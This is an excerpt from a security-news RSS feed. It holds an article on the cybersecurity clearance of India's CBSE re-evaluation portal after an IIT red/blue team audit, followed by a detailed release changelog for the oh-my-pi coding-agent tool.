<guid isPermaLink="true">https://tsecurity.de/de/3580758/it-security-nachrichten/cbse-re-evaluation-portal-goes-live-after-final-cybersecurity-clearance/</guid>
<pubDate>Mon, 08 Jun 2026 10:16:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="841" height="589" src="https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CBSE cybersecurity clearance" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance.webp 841w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-300x210.webp 300w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-768x538.webp 768w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-600x420.webp 600w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-150x105.webp 150w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-750x525.webp 750w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance.webp 841w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-300x210.webp 300w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-768x538.webp 768w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-600x420.webp 600w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-150x105.webp 150w, https://thecyberexpress.com/wp-content/uploads/CBSE-cybersecurity-clearance-750x525.webp 750w" sizes="(max-width: 841px) 100vw, 841px" title="CBSE Re-Evaluation Portal Goes Live After Final Cybersecurity Clearance 1"></p><span data-contrast="auto">The Central Board of Secondary Education has secured the final CBSE cybersecurity clearance required for its examiner-facing re-evaluation portal, allowing the reassessment of Class 12 answer scripts to move forward. The approval was granted on the night of June 6, 2026, after the completion of the final phase of cybersecurity testing conducted through an IIT-led red team and blue team audit.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The development marks a significant step for more than 70,000 students who submitted valid applications for verification of marks and re-evaluation before the June 7 midnight deadline. According to a report first published by <a href="https://indianexpress.com/article/education/iit-panel-gives-nod-to-cbse-examiner-portal-paves-way-for-re-evaluation-10728872/">The Indian Express</a>, citing officials familiar with the matter, the final security clearance has now enabled examiners to begin accessing answer scripts through the upgraded system.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">CBSE Cybersecurity Clearance Granted After Final Security Audit</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The final CBSE <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28621">cybersecurity</a> clearance followed extensive testing of the examiner-facing re-evaluation portal by cybersecurity experts from multiple institutions. An IIT official confirmed that all major <a href="https://thecyberexpress.com/cbse-osm-vulnerability/" target="_blank" rel="noopener">vulnerabilities</a> identified during the audit process had been addressed before the approval was granted.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">“From our side, we gave a green signal on Friday night. Whatever we found has been fixed, and we could not find anything more. There may be some minor <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="28626">vulnerabilities</a>, but nothing that would have any impact,” the official said.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Although students had been able to submit applications through the portal since June 2, examiner access to answer scripts remained restricted until the <a href="https://thecyberexpress.com/dpdp-and-cybersecurity-rethinking-data-risk/" target="_blank" rel="noopener">cybersecurity review</a> process was completed. The latest clearance now allows the full re-evaluation workflow to commence.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">How the Re-Evaluation Portal Was Tested</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Before receiving the final CBSE cybersecurity clearance, the re-evaluation portal underwent a detailed red team and blue team assessment designed to identify and address potential <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28623">security</a> weaknesses.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">According to officials, IIT Kanpur’s cybersecurity experts spent more than ten days examining both the CBSE registration portal and the OSM re-evaluation portal.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The registration portal had earlier been taken offline following a <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="28622">cyberattack</a> before being relaunched on June 2. Meanwhile, the OSM platform underwent multiple rounds of security testing before ultimately receiving approval on June 6.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">Ethical Hacker Nisarga Adhikary Recognized for Reporting Vulnerabilities</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The cybersecurity review process also included discussions with ethical <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-hacker/" title="hacker" data-wpil-keyword-link="linked" data-wpil-monitor-id="28625">hacker</a> Nisarga Adhikary, the 19-year-old cybersecurity researcher who publicly disclosed vulnerabilities within the OSM platform.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">An IIT Kanpur official confirmed that Adhikary was invited by CBSE to explain how he identified the weaknesses. His contribution was formally acknowledged during the review process.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The official stated, “So far, we have not found any breach of <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28627">data</a> from the systems that have been created.”</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The acknowledgment highlights the role that responsible <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28624">vulnerability</a> disclosure can play in improving cybersecurity standards for public examination systems.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">How the New CBSE-Controlled Re-Evaluation Portal Operates</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Following the migration to CBSE servers and the completion of the CBSE cybersecurity clearance process, the updated re-evaluation portal will function through a fully digital workflow.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Under the revised system:</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<ul>
 	<li><span data-contrast="auto">Examiners can access only the specific questions that have been flagged by students for re-evaluation rather than the complete answer book.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Access is provided through CBSE-issued tablets.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Marks are awarded according to CBSE’s original marking scheme.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Every action within the process is digitally recorded, creating comprehensive audit trails.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>
<span data-contrast="auto">Officials believe these measures will help improve transparency, accountability, and security during the reassessment process.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.0]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Fixed

Fixed MiniMax-compatible OpenAI-completions hosts (e.g. minimax-code-cn/MiniMax-M3) losing tool-call arguments when the stream delivers function.arguments as a complete object instead of the OpenAI JSON-string contract. The streaming buffer previously concatenated the objec...]]></description>
<link>https://tsecurity.de/de/3580239/tools/v1590/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580239/tools/v1590/</guid>
<pubDate>Mon, 08 Jun 2026 02:51:02 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed MiniMax-compatible OpenAI-completions hosts (e.g. <code>minimax-code-cn/MiniMax-M3</code>) losing tool-call arguments when the stream delivers <code>function.arguments</code> as a complete object instead of the OpenAI JSON-string contract. The streaming buffer previously concatenated the object into a string, coercing it to <code>[object Object]</code> and leaving <code>bash</code>/<code>edit</code> calls with empty or malformed inputs; the tool-call block now holds the object payload directly. (<a href="https://github.com/can1357/oh-my-pi/issues/1776" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1776/hovercard">#1776</a>)</li>
<li>Fixed Cloud Code Assist (Gemini / Antigravity) rejecting tool schemas with <code>Invalid JSON payload received. Unknown name "propertyNames"</code> (HTTP 400) when a tool exposed a property literally named <code>properties</code> (e.g. the Resend MCP <code>create_contact</code> tool). The schema normalizer's <code>insideProperties</code> flag was re-asserted when descending into such a property's value schema, so Google-unsupported keywords (<code>propertyNames</code>, <code>additionalProperties</code>, …) nested inside it were never stripped. The flag is now only set when entering a real <code>properties</code> map from a schema node, not from within another <code>properties</code> map.</li>
<li>Fixed local/self-hosted providers leaking machine-specific endpoints into the bundled <code>models.json</code>. A <code>generate-models</code> run on a machine with a LiteLLM proxy baked 1202 <code>litellm</code> models pinned to <code>http://localhost:4000/v1</code> into the committed catalog. <code>litellm</code> (and <code>lm-studio</code>) now join <code>ollama</code>/<code>vllm</code> in the generator's discovery-only exclusion set, so local providers are never fetched during generation nor written to <code>models.json</code> — they are discovered dynamically at runtime instead. LiteLLM model discovery now enriches metadata against models.dev (the same reference source the other gateway providers use) rather than a bundled reference map. Added a regression test pinning the invariant (no local provider blocks, no loopback/private-network <code>baseUrl</code>s in the bundled catalog).</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed synchronous <code>readTextSync</code> from <code>SessionStorage</code> and core implementations (<code>MemorySessionStorage</code>, <code>FileSessionStorage</code>, <code>RedisSessionStorage</code>, <code>SqlSessionStorage</code>), requiring callers to use async text reads</li>
<li>Replaced the public <code>SessionStorage</code> <code>readTextPrefix(path, maxBytes)</code> and <code>readTextSuffix(path, maxBytes)</code> methods with <code>readTextSlices(path, prefixBytes, suffixBytes): Promise&lt;[string, string]&gt;</code>; custom session storage backends must implement the new combined slice API.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added env-driven OpenTelemetry trace export. When <code>OTEL_EXPORTER_OTLP_ENDPOINT</code> (or <code>OTEL_EXPORTER_OTLP_TRACES_ENDPOINT</code>) is set, <code>omp</code> registers a global OTLP/proto trace exporter and switches on the agent loop's telemetry, so the <code>invoke_agent</code> / <code>chat</code> / <code>execute_tool</code> spans actually reach a collector instead of a no-op tracer. Honors the standard <code>OTEL_*</code> env contract (endpoint, headers, <code>OTEL_SERVICE_NAME</code>, <code>OTEL_SDK_DISABLED</code> and <code>OTEL_TRACES_EXPORTER=none</code> parsed case-insensitively) and the <code>OTEL_INSTRUMENTATION_GENAI_CAPTURE_MESSAGE_CONTENT</code> capture toggle; it is a no-op when no endpoint is configured. Only the <code>http/protobuf</code> transport is supported — a <code>grpc</code> or <code>http/json</code> <code>OTEL_EXPORTER_OTLP*_PROTOCOL</code> declines rather than misrouting spans. This makes the existing telemetry usable from headless hosts that run <code>omp</code> as a spawned child process, where an in-process <code>TracerProvider</code> registered by the parent can't reach the child. Uses the <code>@opentelemetry/exporter-trace-otlp-proto</code> 2.x line, which exports cleanly under Bun.</li>
</ul>
<h2>Fixed</h2>
<ul>
<li>Fixed the status line session name (and the editor border / status-line gap fill) being nearly illegible on light themes.</li>
<li>Added <code>IndexedSessionStorage</code> and <code>SessionStorageBackend</code> exports to support shared metadata-indexed session backends</li>
<li>Added the <code>tui.maxInlineImages</code> setting (default <code>8</code>) capping how many inline images render as live terminal graphics. Once a new image pushes the count past the cap, the oldest images are hidden via a full redraw — replaced by their <code>[Image: …]</code> text placeholder and purged from the terminal's graphics store — so long sessions with many screenshots/diagrams stop piling up images (and, on Kitty, stop leaving scrollback ghosts). Set to <code>0</code> to keep every image inline.</li>
<li>Added a "View: terminal state" item to the <code>/debug</code> menu that prints the detected terminal, live geometry and cell size, multiplexer, and the negotiated subprotocols actually in use — graphics (Kitty/iTerm2/Sixel), desktop notifications (BEL/OSC 9/OSC 99, plus whether OSC 99 was confirmed via a device-attributes probe), OSC 8 hyperlinks, 24-bit color, DECCARA rectangular-SGR background fills, and DEC 2026 synchronized output — alongside the scrollback-clear strategy (<code>CSI 22 J</code> vs <code>CSI 2 J</code> redraw / ED3 eager-erase risk) and the raw <code>TERM</code>/<code>TERM_PROGRAM</code>/<code>COLORTERM</code> detection signals.</li>
<li>Added a "Test: terminal protocols" item to the <code>/debug</code> menu that renders one live sample of every special escape protocol the renderer can emit — SGR text attributes (bold/italic/underline/strikethrough/inverse/dim), themed and 24-bit truecolor, OSC 8 hyperlinks, OSC 66 text sizing (large text), and an inline graphics swatch via the active image protocol (Kitty/iTerm2/Sixel, with a text fallback) — and fires a desktop notification, so you can eyeball which protocols the current terminal actually honors. The sample image is a gradient PNG generated in-process, so the graphics test needs no asset on disk.</li>
<li>Added the <code>tui.textSizing</code> setting (default off) that renders Markdown H1 headings at 2x scale via Kitty's OSC 66 text-sizing protocol. It replaces the undocumented <code>PI_TUI_TEXT_SIZING</code> env var with a real setting, and only takes effect on Kitty terminals (where OSC 66 is implemented) — it is ignored everywhere else so headings never emit raw escape bytes.</li>
<li>Added a lifecycle status to the <code>/resume</code> session picker. Each session's tail (last 32 KiB) is now read alongside the existing header window in a single pass, and its final message classified as <code>done</code> (the agent ended its turn and yielded control back), <code>interrupted</code> (a trailing tool call or tool result the loop never continued from), <code>aborted</code>, <code>error</code>, or <code>pending</code> (a trailing user message with no reply). The status renders as a colored segment on each session's metadata line. When the final message is larger than the tail window the status is omitted rather than guessed.</li>
<li>Added support for <code>disable-model-invocation: true</code> frontmatter field from the <a href="https://agentskills.io/specification" rel="nofollow">Agent Skills standard</a>. Skills using this field are now hidden from the system prompt listing, matching the behavior of <code>hide: true</code>.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed the <code>task</code> tool description to tag read-only agents and explicitly forbid assigning them file edits/commands or offloading reasoning to <code>quick_task</code>/<code>explore</code>.</li>
<li>Changed Redis and SQL session storage initialization to load only indexed metadata (<code>size</code>, <code>mtimeMs</code>) instead of full session content</li>
<li>Changed <code>SessionStorage</code> read paths to rely on backend-backed metadata/indexed storage, so session content is fetched on demand rather than cached as full in-memory mirrors</li>
<li>Changed session-list slice reads to go through <code>SessionStorage.readTextSlices</code> across all backends, removing the file-only single-open branch and caller-managed buffers. <code>FileSessionStorage</code> now reads both windows via <code>peekFileEnds</code>, while Redis and SQL backends encode session content once per combined read.</li>
<li>Changed the <code>ask</code> tool transcript renderer to mark single-choice questions with circular radio glyphs (<code>○</code>/<code>◉</code>) instead of the rectangular checkbox glyphs (<code>☐</code>/<code>☑</code>) it shares with multi-select questions, so a "pick one" combo box visually reads as a radio group rather than a checklist. Multi-select questions keep checkboxes. Added a <code>radio.selected</code>/<code>radio.unselected</code> symbol pair across the unicode, nerd-font, and ASCII presets.</li>
<li>Changed the <code>ask</code> tool transcript renderer to mark the chosen answer inside the question form rather than re-listing the questions in a detached summary block below it. Once a question is answered, the standalone prompt preview is dropped and the result redraws the same form — every offered option still shown, with the selected one(s) filled in (<code>◉</code>/<code>☑</code>, highlighted) and the rest dimmed (<code>○</code>/<code>☐</code>); custom free-text answers and cancellations render in place as the final entry. This removes the duplicate question/option listing that previously appeared once as the call preview and again as the result.</li>
<li>Changed task-completion and <code>ask</code> desktop notifications to structured terminal notifications (title, body, type, and a focus-on-click action). On Kitty these render through OSC 99 as a proper title/body with click-to-focus; terminals without confirmed OSC 99 support collapse them to the previous single-line message (BEL/OSC 9).</li>
<li>Updated the "each kitty/tmux split" tip to include cmux.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed tiny-model startup in compiled binaries by resolving <code>@huggingface/transformers</code> and its runtime dependencies from the installed cache using <code>package.json</code> <code>exports</code>/<code>main</code> metadata, preventing module-resolution failures when launching models</li>
<li>Fixed tiny runtime installation flow in compiled binaries by using the build-time resolved <code>@huggingface/transformers</code> version and ensuring the runtime lock directory’s parent exists before acquiring the install lock, preventing mismatch and setup failures on fresh installs</li>
<li>Fixed the terminal protocol debug probe reusing one stable Kitty graphics id across repeated panels, which could move/replace an earlier swatch instead of rendering a new one.</li>
<li>Fixed selector dialogs (the <code>ask</code> tool, hook prompts) collapsing to a single visible option on shorter terminals when options carried long descriptions: the highlighted option's wrapped description consumed the entire row budget, hiding every other option and making the menu feel unnavigable (down moved the lone visible entry, left/right did nothing). When the fully-expanded list overflows, <code>HookSelectorComponent</code> now renders a compact list — every option label stays on screen and only the highlighted option expands its description, truncated to the remaining rows — so the whole menu is always visible and the detail pane follows the cursor.</li>
<li>Fixed <code>read</code> failing with "Path not found" on web URLs whose scheme <code>//</code> collapsed to a single <code>/</code> (e.g. <code>https:/github.com/...</code>), which happens when a URL is routed through Node's <code>path.normalize</code>/<code>path.resolve</code>. The fetch URL recognizer now accepts a single-slash scheme and repairs it back to <code>//</code> before fetching, so collapsed URLs resolve instead of falling through to filesystem lookup.</li>
<li>Fixed subagent slow-model priority falling through to older Claude Opus aliases when Opus 4.8 is available by adding Opus 4.8 and 4.7 aliases ahead of older Opus fallbacks (<a href="https://github.com/can1357/oh-my-pi/issues/1753" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1753/hovercard">#1753</a>).</li>
<li>Fixed the web-search provider selectors in TUI settings/setup to derive from the shared provider metadata, so newly added providers cannot be omitted from the preference list.</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Fixed</h3>
<ul>
<li>Bounded sorted <code>glob()</code> scans to <code>maxResults</code> during uncached traversal and emitted <code>onMatch</code> callbacks only for entries admitted to the bounded top-<code>maxResults</code> heap so broad OMP <code>find</code> progress and timeout partials stay consistent with the returned mtime-ranked set while keeping parent-process memory bounded (<a href="https://github.com/can1357/oh-my-pi/issues/1761" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1761/hovercard">#1761</a>).</li>
<li>Fixed <code>wrapTextWithAnsi</code> hanging (infinite loop) on text containing a BEL-terminated string escape — DCS/SOS/PM/APC (<code>ESC P</code>/<code>ESC X</code>/<code>ESC ^</code>/<code>ESC _</code>) closed by <code>BEL</code> instead of <code>ST</code>. <code>ansi_seq_len_u16</code> only accepted the <code>ST</code> (<code>ESC \</code>) terminator for these (OSC already accepted both), so a BEL-terminated APC such as the TUI cursor marker (<code>ESC _ pi:c BEL</code>) was left unclassified: it was miscounted as visible width and <code>break_long_word</code>'s non-ESC scan could not advance past the <code>ESC</code>, spinning forever. The terminator set now matches OSC (ST <strong>or</strong> BEL), and <code>break_long_word</code> defensively emits and steps over any escape it cannot classify so a malformed/unknown sequence can never wedge the wrap loop.</li>
</ul>
<h2>@oh-my-pi/swarm-extension</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed swarm <code>/swarm run</code> failing with authStorage/modelRegistry identity error (<a href="https://github.com/can1357/oh-my-pi/issues/1472" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1472/hovercard">#1472</a>)</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added Kitty <code>CSI 22 J</code> screen-to-scrollback clears for non-destructive full paints, while keeping ED3 for destructive history/session rebuilds.</li>
<li>Added Kitty OSC 99 rich notification formatting and startup capability probing.</li>
<li>Added Kitty OSC 66 text-sized Markdown H1 headings (2x scale) plus native text-width support for OSC 66 spans. Off by default and gated to Kitty (the only terminal implementing OSC 66) via the <code>TERMINAL.textSizing</code> capability; hosts enable it through <code>setTextSizing</code>.</li>
<li>Added Kitty Unicode placeholder image rendering (<code>U=1</code> + U+10EEEE with explicit row/column diacritics): inline images are drawn as real text cells that carry the image id in their foreground color, so they survive horizontal slicing, reflow, and overlapping draws instead of relying on cursor-positioned <code>a=p</code> placements. Enabled by default on Kitty-family terminals; opt out with <code>PI_NO_KITTY_PLACEHOLDERS=1</code>, and falls back to direct placement when a grid exceeds the diacritic table's addressable range.</li>
<li>Added Kitty temp-file image transmission (<code>t=t</code>): on local sessions, decoded PNG bytes are written to a <code>tty-graphics-protocol</code> temp file and the path is sent instead of in-band base64, gated behind a startup <code>a=q,t=t</code> support probe. Controlled by <code>PI_KITTY_IMAGE_TRANSMISSION=direct|temp-file|auto</code>; disabled over SSH unless explicitly forced.</li>
<li>Added DECRQM capability detection for DEC private modes 2026 (synchronized output) and 2048 (in-band resize). Synchronized-output paint wrappers are dropped when the terminal reports 2026 unsupported (preserving the <code>PI_NO_SYNC_OUTPUT</code> override), and DEC 2048 in-band resize is enabled when supported — reported geometry and cell pixel size are updated from <code>CSI 48 ; rows ; cols ; yPx ; xPx t</code> reports, with SIGWINCH and <code>CSI 16 t</code> kept as fallbacks.</li>
<li>Added an injectable render scheduler for TUI tests, allowing deterministic render drains without patching global clocks or event-loop timing.</li>
<li>Added <code>ImageBudget</code>, an inline-image cap that keeps only the most recent N images as live terminal graphics and demotes older ones to their text fallback. Once a new image pushes the count past the cap, the renderer hides the oldest via a full redraw plus an explicit Kitty graphics purge (<code>a=d,d=I</code>) — text-clear escapes (<code>CSI 2 J</code>/<code>CSI 3 J</code>) do not remove Kitty images. Configure the cap via <code>TUI#setMaxInlineImages</code> (<code>0</code> disables it).</li>
<li>Changed Kitty inline images to a transmit-once + placement scheme: the base64 data is sent a single time (<code>a=t</code>) keyed by a stable image id, then every repaint emits only the tiny placement (<code>a=p,i=…,p=…</code>). Repaints — including full redraws — no longer re-send image data or stack duplicate placements, and the diff/line buffers and render caches hold short placement strings instead of multi-KB base64. The <code>ImageBudget</code> doubles as the transmit store (it tracks which ids are loaded and re-transmits after a purge frees the data). iTerm2/Sixel, which have no addressable image store, keep sending inline data as before.</li>
<li>Added a renderer-level DECCARA rectangular-SGR optimizer that paints solid background panels/rows (Box/Text/Markdown fills, status bars, any full-width <code>theme.bg</code> row) as a single coalesced rectangle escape (<code>CSI 2*x</code> / <code>CSI Pt;Pl;Pb;Pr;&lt;sgr&gt;$r</code> / <code>CSI *x</code>) instead of emitting a full-width run of background-styled spaces on every visible row. It operates at emit time on the final ANSI strings — components are unchanged — and strips only trailing padding it can prove sits under a single non-default background span, coalescing vertically adjacent identical fills into one rectangle and falling back to the original bytes whenever the rectangle would not save bytes. Enabled only on Kitty, which implements the SGR-background extension (<code>docs/deccara.rst</code>); <strong>Ghostty is intentionally excluded</strong> because its <code>CSI $r</code> is unimplemented (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1931418915" data-permission-text="Title is private" data-url="https://github.com/ghostty-org/ghostty/issues/632" data-hovercard-type="issue" data-hovercard-url="/ghostty-org/ghostty/issues/632/hovercard" href="https://github.com/ghostty-org/ghostty/issues/632">ghostty-org/ghostty#632</a>) and would drop the background entirely. Scrollback-bound rows and the append/scroll paths always keep the padded representation so native history preserves colored cells, and the <code>PI_NO_DECCARA</code> kill switch (plus tmux/screen/zellij detection) forces the fallback.</li>
<li>Added <code>CMUX_SURFACE_ID</code> environment variable support to <code>getTerminalId()</code>, so cmux terminal surfaces get a stable identifier alongside kitty, tmux, macOS Terminal.app, and Windows Terminal — enabling per-surface session breadcrumbs for <code>omp -c</code> in cmux.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed TUI tests to use Ghostty's VT engine (<code>ghostty-web</code>) instead of <code>@xterm/headless</code>.</li>
<li>Changed the default inline-image live graphics budget from 3 to 8 images.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed the DECCARA background-fill optimizer rejecting or repainting the wrong cells when a trailing fill crossed from default-background spaces into colored spaces.</p>
</li>
<li>
<p>Fixed DEC private-mode reports with DECRPM status 3/4 being treated as unsupported, so permanent 2026/2048 reports stay recognized.</p>
</li>
<li>
<p>Fixed OSC 66 text-sizing width and slicing edge cases, including ZWJ emoji payloads and partial slices through scaled spans.</p>
</li>
<li>
<p>Fixed focused <code>Input</code> components following <code>TUI#setShowHardwareCursor</code>, so single-line prompts render either the terminal cursor or software cursor consistently with the editor.</p>
</li>
<li>
<p>Fixed the DECCARA background-fill optimizer painting fills on the wrong rows ("split into unaligned halves") in the differential repaint path. When a diff grew the transcript past the viewport, writing the rewritten rows scrolled the terminal, but the absolute DECCARA rectangle coordinates were derived from the pre-scroll viewport top, so every fill landed <code>scrollAmount</code> rows too low while the relatively-positioned text settled correctly; rows scrolled into history were also shortened, dropping their background padding from native scrollback. Rectangles now target the post-scroll rows and only rows remaining in the final viewport are optimized.</p>
</li>
<li>
<p>Fixed native scrollback desynchronization after terminal width or height changes reflowed overflowing content while the viewport was not at the bottom</p>
</li>
<li>
<p>Fixed a notification chip (or any injected block) rendering on top of an actively streaming tool render on ED3-risk terminals (Ghostty/kitty/Alacritty/iTerm2). While a foreground tool streams, its header's elapsed-time counter ticks every frame; once output scrolls the header above the viewport top, each tick is an offscreen edit that — because the eager scrollback-rebuild opt-in is gated off on these terminals — repaints the viewport in place and advances the rendered line count without committing the new overflow to native history. <code>#scrollbackHighWater</code> then lagged the logical viewport top, so a later content shrink whose changes landed in the visible region slipped past the shrink-across-boundary guard and reached the differential emitter, which is anchored to <code>#maxLinesRendered - height</code>: it rewrote only the suffix, dropped the newly exposed top row, and left a blank at the bottom, drifting every row below the edit one line up so it painted over the rows above. Such shrinks now re-anchor the bottom of the viewport with a non-destructive repaint, and the foreground-streaming shrink-across-boundary case repaints the live tail instead of padding and pinning the pre-shrink viewport.</p>
</li>
<li>
<p>Fixed a terminal resize during foreground-tool streaming on an unknown-viewport / ED3-risk host (Ghostty/kitty/Alacritty/iTerm2/WSL) leaving native scrollback permanently out of sync, so scrolling back after the turn showed missing rows. A pure geometry resize (no content change) takes the in-place viewport-repaint path, which — unlike a content-bearing resize that rebuilds via the geometry branch — never flagged native history. Because the prompt-submit checkpoint (<code>refreshNativeScrollbackIfDirty</code>) only rebuilds when scrollback is marked dirty on these hosts, the discrepancy was never reconciled. Overflowing geometry repaints whose viewport is not known to be at the bottom now mark scrollback dirty so the next checkpoint rebuilds an exact copy of the transcript.</p>
</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>
<p>Added color helpers <code>colorLuma</code> (perceptual luma), <code>relativeLuminance</code> (WCAG, linearized sRGB), and <code>hslToHex</code> to the color utilities. The luminance helpers parse <code>#rgb</code>/<code>#rrggbb</code> hex and 256-color palette indices, returning <code>undefined</code> for unparseable values.</p>
</li>
<li>
<p>Added <code>peekFileEnds</code>, a single-open head-and-tail file peek helper that reuses the head bytes for the tail when the file fits the head window.</p>
</li>
<li>
<p>Added <code>peekFileTail</code>, the tail mirror of <code>peekFile</code>: reads up to the last <code>maxBytes</code> of a file ending at EOF, reusing the same pooled-buffer strategy (no per-call allocation for small reads).</p>
</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(search): default paths to workspace root instead of hard-failing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GratefulDave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GratefulDave">@GratefulDave</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4584846316" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1808" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1808/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1808">#1808</a></li>
<li>fix: recognize disable-model-invocation from Agent Skills spec by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabkho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabkho">@fabkho</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583326357" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1803" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1803/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1803">#1803</a></li>
<li>fix(coding-agent/mcp): handle async broken-pipe rejections in stdio transport by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VoidChecksum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VoidChecksum">@VoidChecksum</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4578318423" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1783" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1783/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1783">#1783</a></li>
